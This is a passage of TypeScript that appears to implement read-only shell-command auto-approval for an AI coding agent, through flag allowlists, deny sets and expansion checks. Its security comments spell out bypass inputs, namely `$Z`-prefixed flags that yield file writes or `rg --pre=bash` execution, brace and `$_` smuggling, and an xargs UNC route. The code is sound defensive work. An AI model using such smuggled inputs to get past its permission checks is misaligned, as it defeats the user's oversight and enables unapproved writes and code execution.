// with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
|
|
additionalCommandIsDangerousCallback: (_rawCommand, args) =>
|
|
args.some(a => a === '+m' || a.startsWith('+m')),
|
|
},
|
|
|
|
pgrep: {
|
|
safeFlags: {
|
|
'-d': 'string',
|
|
'--delimiter': 'string',
|
|
'-l': 'none',
|
|
'--list-name': 'none',
|
|
'-a': 'none',
|
|
'--list-full': 'none',
|
|
'-v': 'none',
|
|
'--inverse': 'none',
|
|
'-w': 'none',
|
|
'--lightweight': 'none',
|
|
'-c': 'none',
|
|
'--count': 'none',
|
|
'-f': 'none',
|
|
'--full': 'none',
|
|
'-g': 'string',
|
|
'--pgroup': 'string',
|
|
'-G': 'string',
|
|
'--group': 'string',
|
|
'-i': 'none',
|
|
'--ignore-case': 'none',
|
|
'-n': 'none',
|
|
'--newest': 'none',
|
|
'-o': 'none',
|
|
'--oldest': 'none',
|
|
'-O': 'string',
|
|
'--older': 'string',
|
|
'-P': 'string',
|
|
'--parent': 'string',
|
|
'-s': 'string',
|
|
'--session': 'string',
|
|
'-t': 'string',
|
|
'--terminal': 'string',
|
|
'-u': 'string',
|
|
'--euid': 'string',
|
|
'-U': 'string',
|
|
'--uid': 'string',
|
|
'-x': 'none',
|
|
'--exact': 'none',
|
|
'-F': 'string',
|
|
'--pidfile': 'string',
|
|
'-L': 'none',
|
|
'--logpidfile': 'none',
|
|
'-r': 'string',
|
|
'--runstates': 'string',
|
|
'--ns': 'string',
|
|
'--nslist': 'string',
|
|
'--help': 'none',
|
|
'-V': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
|
|
tput: {
|
|
safeFlags: {
|
|
'-T': 'string',
|
|
'-V': 'none',
|
|
'-x': 'none',
|
|
// SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
|
|
// It must NOT be in safeFlags because validateFlags unbundles combined
|
|
// short flags (e.g., -xS → -x + -S), but the callback receives the raw
|
|
// token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
|
|
// from safeFlags ensures validateFlags rejects it (bundled or not) before
|
|
// the callback runs. The callback's -S check is defense-in-depth.
|
|
},
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Capabilities that modify terminal state or could be harmful.
|
|
// init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
|
|
// rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
|
|
// init/reset invoke internally — rs1 sends ESC c (full terminal reset).
|
|
// clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
|
|
// (redirect output to printer device). smcup/rmcup manipulate screen buffer.
|
|
// pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
|
|
// rf is reset file (analogous to if/init_file).
|
|
const DANGEROUS_CAPABILITIES = new Set([
|
|
'init',
|
|
'reset',
|
|
'rs1',
|
|
'rs2',
|
|
'rs3',
|
|
'is1',
|
|
'is2',
|
|
'is3',
|
|
'iprog',
|
|
'if',
|
|
'rf',
|
|
'clear',
|
|
'flash',
|
|
'mc0',
|
|
'mc4',
|
|
'mc5',
|
|
'mc5i',
|
|
'mc5p',
|
|
'pfkey',
|
|
'pfloc',
|
|
'pfx',
|
|
'pfxl',
|
|
'smcup',
|
|
'rmcup',
|
|
])
|
|
const flagsWithArgs = new Set(['-T'])
|
|
let i = 0
|
|
let afterDoubleDash = false
|
|
while (i < args.length) {
|
|
const token = args[i]!
|
|
if (token === '--') {
|
|
afterDoubleDash = true
|
|
i++
|
|
} else if (!afterDoubleDash && token.startsWith('-')) {
|
|
// Defense-in-depth: block -S even if it somehow passes validateFlags
|
|
if (token === '-S') return true
|
|
// Also check for -S bundled with other flags (e.g., -xS)
|
|
if (
|
|
!token.startsWith('--') &&
|
|
token.length > 2 &&
|
|
token.includes('S')
|
|
)
|
|
return true
|
|
if (flagsWithArgs.has(token)) {
|
|
i += 2
|
|
} else {
|
|
i++
|
|
}
|
|
} else {
|
|
if (DANGEROUS_CAPABILITIES.has(token)) return true
|
|
i++
|
|
}
|
|
}
|
|
return false
|
|
},
|
|
},
|
|
|
|
// ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
|
|
// SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
|
|
// are deliberately excluded. -F/--filter (read filter from file) also excluded.
|
|
ss: {
|
|
safeFlags: {
|
|
'-h': 'none',
|
|
'--help': 'none',
|
|
'-V': 'none',
|
|
'--version': 'none',
|
|
'-n': 'none',
|
|
'--numeric': 'none',
|
|
'-r': 'none',
|
|
'--resolve': 'none',
|
|
'-a': 'none',
|
|
'--all': 'none',
|
|
'-l': 'none',
|
|
'--listening': 'none',
|
|
'-o': 'none',
|
|
'--options': 'none',
|
|
'-e': 'none',
|
|
'--extended': 'none',
|
|
'-m': 'none',
|
|
'--memory': 'none',
|
|
'-p': 'none',
|
|
'--processes': 'none',
|
|
'-i': 'none',
|
|
'--info': 'none',
|
|
'-s': 'none',
|
|
'--summary': 'none',
|
|
'-4': 'none',
|
|
'--ipv4': 'none',
|
|
'-6': 'none',
|
|
'--ipv6': 'none',
|
|
'-0': 'none',
|
|
'--packet': 'none',
|
|
'-t': 'none',
|
|
'--tcp': 'none',
|
|
'-M': 'none',
|
|
'--mptcp': 'none',
|
|
'-S': 'none',
|
|
'--sctp': 'none',
|
|
'-u': 'none',
|
|
'--udp': 'none',
|
|
'-d': 'none',
|
|
'--dccp': 'none',
|
|
'-w': 'none',
|
|
'--raw': 'none',
|
|
'-x': 'none',
|
|
'--unix': 'none',
|
|
'--tipc': 'none',
|
|
'--vsock': 'none',
|
|
'-f': 'string',
|
|
'--family': 'string',
|
|
'-A': 'string',
|
|
'--query': 'string',
|
|
'--socket': 'string',
|
|
'-Z': 'none',
|
|
'--context': 'none',
|
|
'-z': 'none',
|
|
'--contexts': 'none',
|
|
// SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
|
|
// to switch network namespace. While isolated to forked process, too invasive.
|
|
'-b': 'none',
|
|
'--bpf': 'none',
|
|
'-E': 'none',
|
|
'--events': 'none',
|
|
'-H': 'none',
|
|
'--no-header': 'none',
|
|
'-O': 'none',
|
|
'--oneline': 'none',
|
|
'--tipcinfo': 'none',
|
|
'--tos': 'none',
|
|
'--cgroup': 'none',
|
|
'--inet-sockopt': 'none',
|
|
// SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
|
|
// SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
|
|
// SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
|
|
},
|
|
},
|
|
|
|
// fd/fdfind — fast file finder (fd-find). Read-only search tool.
|
|
// SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
|
|
// (execute command with all results) are deliberately excluded.
|
|
fd: { safeFlags: { ...FD_SAFE_FLAGS } },
|
|
// fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
|
|
fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
|
|
|
|
...PYRIGHT_READ_ONLY_COMMANDS,
|
|
...DOCKER_READ_ONLY_COMMANDS,
|
|
}
|
|
|
|
// gh commands are ant-only since they make network requests, which goes against
|
|
// the read-only validation principle of no network access
|
|
const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
|
|
// All gh read-only commands from shared validation map
|
|
...GH_READ_ONLY_COMMANDS,
|
|
// aki — Anthropic internal knowledge-base search CLI.
|
|
// Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
|
|
aki: {
|
|
safeFlags: {
|
|
'-h': 'none',
|
|
'--help': 'none',
|
|
'-k': 'none',
|
|
'--keyword': 'none',
|
|
'-s': 'none',
|
|
'--semantic': 'none',
|
|
'--no-adaptive': 'none',
|
|
'-n': 'number',
|
|
'--limit': 'number',
|
|
'-o': 'number',
|
|
'--offset': 'number',
|
|
'--source': 'string',
|
|
'--exclude-source': 'string',
|
|
'-a': 'string',
|
|
'--after': 'string',
|
|
'-b': 'string',
|
|
'--before': 'string',
|
|
'--collection': 'string',
|
|
'--drive': 'string',
|
|
'--folder': 'string',
|
|
'--descendants': 'none',
|
|
'-m': 'string',
|
|
'--meta': 'string',
|
|
'-t': 'string',
|
|
'--threshold': 'string',
|
|
'--kw-weight': 'string',
|
|
'--sem-weight': 'string',
|
|
'-j': 'none',
|
|
'--json': 'none',
|
|
'-c': 'none',
|
|
'--chunk': 'none',
|
|
'--preview': 'none',
|
|
'-d': 'none',
|
|
'--full-doc': 'none',
|
|
'-v': 'none',
|
|
'--verbose': 'none',
|
|
'--stats': 'none',
|
|
'-S': 'number',
|
|
'--summarize': 'number',
|
|
'--explain': 'none',
|
|
'--examine': 'string',
|
|
'--url': 'string',
|
|
'--multi-turn': 'number',
|
|
'--multi-turn-model': 'string',
|
|
'--multi-turn-context': 'string',
|
|
'--no-rerank': 'none',
|
|
'--audit': 'none',
|
|
'--local': 'none',
|
|
'--staging': 'none',
|
|
},
|
|
},
|
|
}
|
|
|
|
function getCommandAllowlist(): Record<string, CommandConfig> {
|
|
let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
|
|
// On Windows, xargs can be used as a data-to-code bridge: if a file contains
|
|
// a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
|
|
// resolution. Since the UNC path is in file contents (not the command string),
|
|
// regex-based detection cannot catch this.
|
|
if (getPlatform() === 'windows') {
|
|
const { xargs: _, ...rest } = allowlist
|
|
allowlist = rest
|
|
}
|
|
if (process.env.USER_TYPE === 'ant') {
|
|
return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
|
|
}
|
|
return allowlist
|
|
}
|
|
|
|
/**
|
|
* Commands that are safe to use as xargs targets for auto-approval.
|
|
*
|
|
* SECURITY: Only add a command to this list if it has NO flags that can:
|
|
* 1. Write to files (e.g., find's -fprint, sed's -i)
|
|
* 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
|
|
* 3. Make network requests
|
|
*
|
|
* These commands must be purely read-only utilities. When xargs uses one of
|
|
* these as a target, we stop validating flags after the target command
|
|
* (see the `break` in isCommandSafeViaFlagParsing), so the command itself
|
|
* must not have ANY dangerous flags, not just a safe subset.
|
|
*
|
|
* Each command was verified by checking its man page for dangerous capabilities.
|
|
*/
|
|
const SAFE_TARGET_COMMANDS_FOR_XARGS = [
|
|
'echo', // Output only, no dangerous flags
|
|
'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
|
|
'wc', // Read-only counting, no dangerous flags
|
|
'grep', // Read-only search, no dangerous flags
|
|
'head', // Read-only, no dangerous flags
|
|
'tail', // Read-only (including -f follow), no dangerous flags
|
|
]
|
|
|
|
/**
|
|
* Unified command validation function that replaces individual validator functions.
|
|
* Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
|
|
* Handles combined flags, argument validation, and shell quoting bypass detection.
|
|
*/
|
|
export function isCommandSafeViaFlagParsing(command: string): boolean {
|
|
// Parse the command to get individual tokens using shell-quote for accuracy
|
|
// Handle glob operators by converting them to strings, they don't matter from the perspective
|
|
// of this function
|
|
const parseResult = tryParseShellCommand(command, env => `$${env}`)
|
|
if (!parseResult.success) return false
|
|
|
|
const parsed = parseResult.tokens.map(token => {
|
|
if (typeof token !== 'string') {
|
|
token = token as { op: 'glob'; pattern: string }
|
|
if (token.op === 'glob') {
|
|
return token.pattern
|
|
}
|
|
}
|
|
return token
|
|
})
|
|
|
|
// If there are operators (pipes, redirects, etc.), it's not a simple command.
|
|
// Breaking commands down into their constituent parts is handled upstream of
|
|
// this function, so we reject anything with operators here.
|
|
const hasOperators = parsed.some(token => typeof token !== 'string')
|
|
if (hasOperators) {
|
|
return false
|
|
}
|
|
|
|
// Now we know all tokens are strings
|
|
const tokens = parsed as string[]
|
|
|
|
if (tokens.length === 0) {
|
|
return false
|
|
}
|
|
|
|
// Find matching command configuration
|
|
let commandConfig: CommandConfig | undefined
|
|
let commandTokens: number = 0
|
|
|
|
// Check for multi-word commands first (e.g., "git diff", "git stash list")
|
|
const allowlist = getCommandAllowlist()
|
|
for (const [cmdPattern] of Object.entries(allowlist)) {
|
|
const cmdTokens = cmdPattern.split(' ')
|
|
if (tokens.length >= cmdTokens.length) {
|
|
let matches = true
|
|
for (let i = 0; i < cmdTokens.length; i++) {
|
|
if (tokens[i] !== cmdTokens[i]) {
|
|
matches = false
|
|
break
|
|
}
|
|
}
|
|
if (matches) {
|
|
commandConfig = allowlist[cmdPattern]
|
|
commandTokens = cmdTokens.length
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!commandConfig) {
|
|
return false // Command not in allowlist
|
|
}
|
|
|
|
// Special handling for git ls-remote to reject URLs that could lead to data exfiltration
|
|
if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
|
|
// Check if any argument looks like a URL or remote specification
|
|
for (let i = 2; i < tokens.length; i++) {
|
|
const token = tokens[i]
|
|
if (token && !token.startsWith('-')) {
|
|
// Reject HTTP/HTTPS URLs
|
|
if (token.includes('://')) {
|
|
return false
|
|
}
|
|
// Reject SSH URLs like git@github.com:user/repo.git
|
|
if (token.includes('@') || token.includes(':')) {
|
|
return false
|
|
}
|
|
// Reject variable references
|
|
if (token.includes('$')) {
|
|
return false
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// SECURITY: Reject ANY token containing `$` (variable expansion). The
|
|
// `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
|
|
// in tokens, but bash expands it at runtime (unset vars → empty string).
|
|
// This parser differential defeats BOTH validateFlags and callbacks:
|
|
//
|
|
// (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
|
|
// `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
|
|
// (starts with `$`) falls through as positional at ~:1730. Bash runs
|
|
// `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
|
|
//
|
|
// (2) `$VAR`-prefix → RCE via `rg --pre`:
|
|
// `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
|
|
// no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
|
|
//
|
|
// (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
|
|
// `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
|
|
// `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
|
|
// `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
|
|
// tokens would NOT close this.
|
|
//
|
|
// We check ALL tokens after the command prefix. Any `$` means we cannot
|
|
// determine the runtime token value, so we cannot verify read-only safety.
|
|
// This check must run BEFORE validateFlags and BEFORE callbacks.
|
|
for (let i = commandTokens; i < tokens.length; i++) {
|
|
const token = tokens[i]
|
|
if (!token) continue
|
|
// Reject any token containing $ (variable expansion)
|
|
if (token.includes('$')) {
|
|
return false
|
|
}
|
|
// Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
|
|
// `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
|
|
// → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
|
|
// This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
|
|
// We require BOTH `{` and `,` to avoid false positives on legitimate
|
|
// patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
|
|
// template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
|
|
// `{1..5}` also needs checking (has `{` + `..`).
|
|
if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
|
|
return false
|
|
}
|
|
}
|
|
|
|
// Validate flags starting after the command tokens
|
|
if (
|
|
!validateFlags(tokens, commandTokens, commandConfig, {
|
|
commandName: tokens[0],
|
|
rawCommand: command,
|
|
xargsTargetCommands:
|
|
tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
|
|
})
|
|
) {
|
|
return false
|
|
}
|
|
|
|
if (commandConfig.regex && !commandConfig.regex.test(command)) {
|
|
return false
|
|
}
|
|
if (!commandConfig.regex && /`/.test(command)) {
|
|
return false
|
|
}
|
|
// Block newlines and carriage returns in grep/rg patterns as they can be used for injection
|
|
if (
|
|
!commandConfig.regex &&
|
|
(tokens[0] === 'rg' || tokens[0] === 'grep') &&
|
|
/[\n\r]/.test(command)
|
|
) {
|
|
return false
|
|
}
|
|
if (
|
|
commandConfig.additionalCommandIsDangerousCallback &&
|
|
commandConfig.additionalCommandIsDangerousCallback(
|
|
command,
|
|
tokens.slice(commandTokens),
|
|
)
|
|
) {
|
|
return false
|
|
}
|
|
|
|
return true
|
|
}
|
|
|
|
/**
|
|
* Creates a regex pattern that matches safe invocations of a command.
|
|
*
|
|
* The regex ensures commands are invoked safely by blocking:
|
|
* - Shell metacharacters that could lead to command injection or redirection
|
|
* - Command substitution via backticks or $()
|
|
* - Variable expansion that could contain malicious payloads
|
|
* - Environment variable assignment bypasses (command=value)
|
|
*
|
|
* @param command The command name (e.g., 'date', 'npm list', 'ip addr')
|
|
* @returns RegExp that matches safe invocations of the command
|
|
*/
|
|
function makeRegexForSafeCommand(command: string): RegExp {
|
|
// Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
|
|
return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
|
|
}
|
|
|
|
// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
|
|
// WARNING: If you are adding new commands here, be very careful to ensure
|
|
// they are truly safe. This includes ensuring:
|
|
// 1. That they don't have any flags that allow file writing or command execution
|
|
// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
|
|
const READONLY_COMMANDS = [
|
|
// Cross-platform commands from shared validation
|
|
...EXTERNAL_READONLY_COMMANDS,
|
|
|
|
// Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
|
|
|
|
// Time and date
|
|
'cal',
|
|
'uptime',
|
|
|
|
// File content viewing (relative paths handled separately)
|
|
'cat',
|
|
'head',
|
|
'tail',
|
|
'wc',
|
|
'stat',
|
|
'strings',
|
|
'hexdump',
|
|
'od',
|
|
'nl',
|
|
|
|
// System info
|
|
'id',
|
|
'uname',
|
|
'free',
|
|
'df',
|
|
'du',
|
|
'locale',
|
|
'groups',
|
|
'nproc',
|
|
|
|
// Path information
|
|
'basename',
|
|
'dirname',
|
|
'realpath',
|
|
|
|
// Text processing
|
|
'cut',
|
|
'paste',
|
|
'tr',
|
|
'column',
|
|
'tac', // Reverse cat — displays file contents in reverse line order
|
|
'rev', // Reverse characters in each line
|
|
'fold', // Wrap lines to specified width
|
|
'expand', // Convert tabs to spaces
|
|
'unexpand', // Convert spaces to tabs
|
|
'fmt', // Simple text formatter — output to stdout only
|
|
'comm', // Compare sorted files line by line
|
|
'cmp', // Byte-by-byte file comparison
|
|
'numfmt', // Number format conversion
|
|
|
|
// Path information (additional)
|
|
'readlink', // Resolve symlinks — displays target of symbolic link
|
|
|
|
// File comparison
|
|
'diff',
|
|
|
|
// true and false, used to silence or create errors
|
|
'true',
|
|
'false',
|
|
|
|
// Misc. safe commands
|
|
'sleep',
|
|
'which',
|
|
'type',
|
|
'expr', // Evaluate expressions (arithmetic, string matching)
|
|
'test', // Conditional evaluation (file checks, comparisons)
|
|
'getconf', // Get system configuration values
|
|
'seq', // Generate number sequences
|
|
'tsort', // Topological sort
|
|
'pr', // Paginate files for printing
|
|
]
|
|
|
|
// Complex commands that require custom regex patterns
|
|
// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
|
|
// instead. This allowlist-based approach to CLI flags is more secure and avoids
|
|
// vulns coming from gnu getopt_long.
|
|
const READONLY_COMMAND_REGEXES = new Set([
|
|
// Convert simple commands to regex patterns using makeRegexForSafeCommand
|
|
...READONLY_COMMANDS.map(makeRegexForSafeCommand),
|
|
|
|
// Echo that doesn't execute commands or use variables
|
|
// Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
|
|
// Also allow optional 2>&1 stderr redirection at the end
|
|
/^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
|
|
|
|
// Claude CLI help
|
|
/^claude -h$/,
|
|
/^claude --help$/,
|
|
|
|
// Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
|
|
// (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
|
|
|
|
/^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
|
|
|
|
// System info
|
|
/^pwd$/,
|
|
/^whoami$/,
|
|
// env and printenv removed - could expose sensitive environment variables
|
|
|
|
// Development tools version checking - exact match only, no suffix allowed.
|
|
// SECURITY: `node -v --run <task>` would execute package.json scripts because
|
|
// Node processes --run before -v. Python/python3 --version are also anchored
|
|
// for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
|
|
// flows through makeRegexForSafeCommand and permits arbitrary suffixes.
|
|
/^node -v$/,
|
|
/^node --version$/,
|
|
/^python --version$/,
|
|
/^python3 --version$/,
|
|
|
|
// Misc. safe commands
|
|
// tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
|
|
/^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
|
|
/^alias$/,
|
|
/^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
|
|
|
|
// Network commands - only allow exact commands with no arguments to prevent network manipulation
|
|
/^ip addr$/, // Only allow "ip addr" with no additional arguments
|
|
/^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
|
|
|
|
// JSON processing with jq - allow with inline filters and file arguments
|
|
// File arguments are validated separately by pathValidation.ts
|
|
// Allow pipes and complex expressions within quotes but prevent dangerous flags
|
|
// Block command substitution - backticks are dangerous even in single quotes for jq
|
|
// Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
|
|
// Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
|
|
/^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
|
|
|
|
// Path commands (path validation ensures they're allowed)
|
|
// cd command - allows changing to directories
|
|
/^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
|
|
// ls command - allows listing directories
|
|
/^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
|
|
// find command - blocks dangerous flags
|
|
// Allow escaped parentheses \( and \) for grouping, but block unescaped ones
|
|
// NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
|
|
// not as backslash + paren (which would fail since paren is excluded from the character class)
|
|
/^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
|
|
])
|
|
|
|
/**
|
|
* Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
|
|
* variables OUTSIDE the quote contexts where bash would treat them as literal.
|
|
* These could expand to bypass our regex-based security checks.
|
|
*
|
|
* Glob examples:
|
|
* - `python *` could expand to `python --help` if a file named `--help` exists
|
|
* - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
|
|
* Globs are literal inside BOTH single and double quotes.
|
|
*
|
|
* Variable expansion examples:
|
|
* - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
|
|
* with IFS word splitting, this smuggles positional args past "flags-only"
|
|
* regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
|
|
* - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
|
|
* Variables are literal ONLY inside single quotes; they expand inside double
|
|
* quotes and unquoted.
|
|
*
|
|
* The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
|
|
* token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
|
|
* commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
|
|
* Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
|
|
* `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
|
|
* those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
|
|
*
|
|
* @param command The command string to check
|
|
* @returns true if the command contains unquoted glob or expandable `$`
|
|
*/
|
|
function containsUnquotedExpansion(command: string): boolean {
|
|
// Track quote state to avoid false positives for patterns inside quoted strings
|
|
let inSingleQuote = false
|
|
let inDoubleQuote = false
|
|
let escaped = false
|
|
|
|
for (let i = 0; i < command.length; i++) {
|
|
const currentChar = command[i]
|
|
|
|
// Handle escape sequences
|
|
if (escaped) {
|
|
escaped = false
|
|
continue
|
|
}
|
|
|
|
// SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
|
|
// `\` inside `'...'` is LITERAL — it does not escape the next character.
|
|
// Without this guard, `'\'` desyncs the quote tracker: the `\` sets
|
|
// escaped=true, then the closing `'` is consumed by the escaped-skip
|
|
// instead of toggling inSingleQuote. Parser stays in single-quote
|
|
// mode for the rest of the command, missing ALL subsequent expansions.
|
|
// Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
|
|
// `*` is inside quotes → returns false (glob NOT detected).
|
|
// Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
|
|
// before this function is reached, but we fix the tracker anyway for
|
|
// consistency with the correct implementations in bashSecurity.ts.
|
|
if (currentChar === '\\' && !inSingleQuote) {
|
|
escaped = true
|
|
continue
|
|
}
|
|
|
|
// Update quote state
|
|
if (currentChar === "'" && !inDoubleQuote) {
|
|
inSingleQuote = !inSingleQuote
|
|
continue
|
|
}
|
|
|
|
if (currentChar === '"' && !inSingleQuote) {
|
|
inDoubleQuote = !inDoubleQuote
|
|
continue
|
|
}
|
|
|
|
// Inside single quotes: everything is literal. Skip.
|
|
if (inSingleQuote) {
|
|
continue
|
|
}
|
|
|
|
// Check `$` followed by variable-name or special-parameter character.
|
|
// `$` expands inside double quotes AND unquoted (only SQ makes it literal).
|
|
if (currentChar === '$') {
|
|
const next = command[i + 1]
|
|
if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
|
|
return true
|
|
}
|
|
}
|
|
|
|
// Globs are literal inside double quotes too. Only check unquoted.
|
|
if (inDoubleQuote) {
|
|
continue
|
|
}
|
|
|
|
// Check for glob characters outside all quotes.
|
|
// These could expand to anything, including dangerous flags.
|
|
if (currentChar && /[?*[\]]/.test(currentChar)) {
|
|
return true
|
|
}
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
/**
|
|
* Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
|
|
* Internal helper function that validates individual commands.
|
|
*
|
|
* @param command The command string to check
|
|
* @returns true if the command is read-only
|
|
*/
|
|
function isCommandReadOnly(command: string): boolean {
|
|
// Handle common stderr-to-stdout redirection pattern
|
|
// This handles both "command 2>&1" at the end of a full command
|
|
// and "command 2>&1" as part of a pipeline component
|
|
let testCommand = command.trim()
|
|
if (testCommand.endsWith(' 2>&1')) {
|
|
// Remove the stderr redirection for pattern matching
|
|
testCommand = testCommand.slice(0, -5).trim()
|
|
}
|
|
|
|
// Check for Windows UNC paths that could be vulnerable to WebDAV attacks
|
|
// Do this early to prevent any command with UNC paths from being marked as read-only
|
|
if (containsVulnerableUncPath(testCommand)) {
|
|
return false
|
|
}
|
|
|
|
// Check for unquoted glob characters and expandable `$` variables that could
|
|
// bypass our regex-based security checks. We can't know what these expand to
|
|
// at runtime, so we can't verify the command is read-only.
|
|
//
|
|
// Globs: `python *` could expand to `python --help` if such a file exists.
|
|
//
|
|
// Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
|
|
// last arg of the previous command. With IFS word splitting, this smuggles
|
|
// positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
|
|
// check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
|
|
// commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
|
|
// have no such guard. See containsUnquotedExpansion for full analysis.
|
|
if (containsUnquotedExpansion(testCommand)) {
|
|
return false
|
|
}
|
|
|
|
// Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
|
|
// Regex filters can be bypassed, so we use strict allowlist validation instead.
|
|
// This requires defining a set of known safe flags. Claude can help with this,
|
|
// but please look over it to ensure it didn't add any flags that allow file writes
|
|
// code execution, or network requests.
|
|
if (isCommandSafeViaFlagParsing(testCommand)) {
|
|
return true
|
|
}
|
|
|
|
for (const regex of READONLY_COMMAND_REGEXES) {
|
|
if (regex.test(testCommand)) {
|
|
// Prevent git commands with -c flag to avoid config options that can lead to code execution
|
|
// The -c flag allows setting arbitrary git config values inline, including dangerous ones like
|
|
// core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
|
|
// Check for -c preceded by whitespace and followed by whitespace or equals
|
|
// Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
|
|
if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
|
|
return false
|
|
}
|
|
|
|
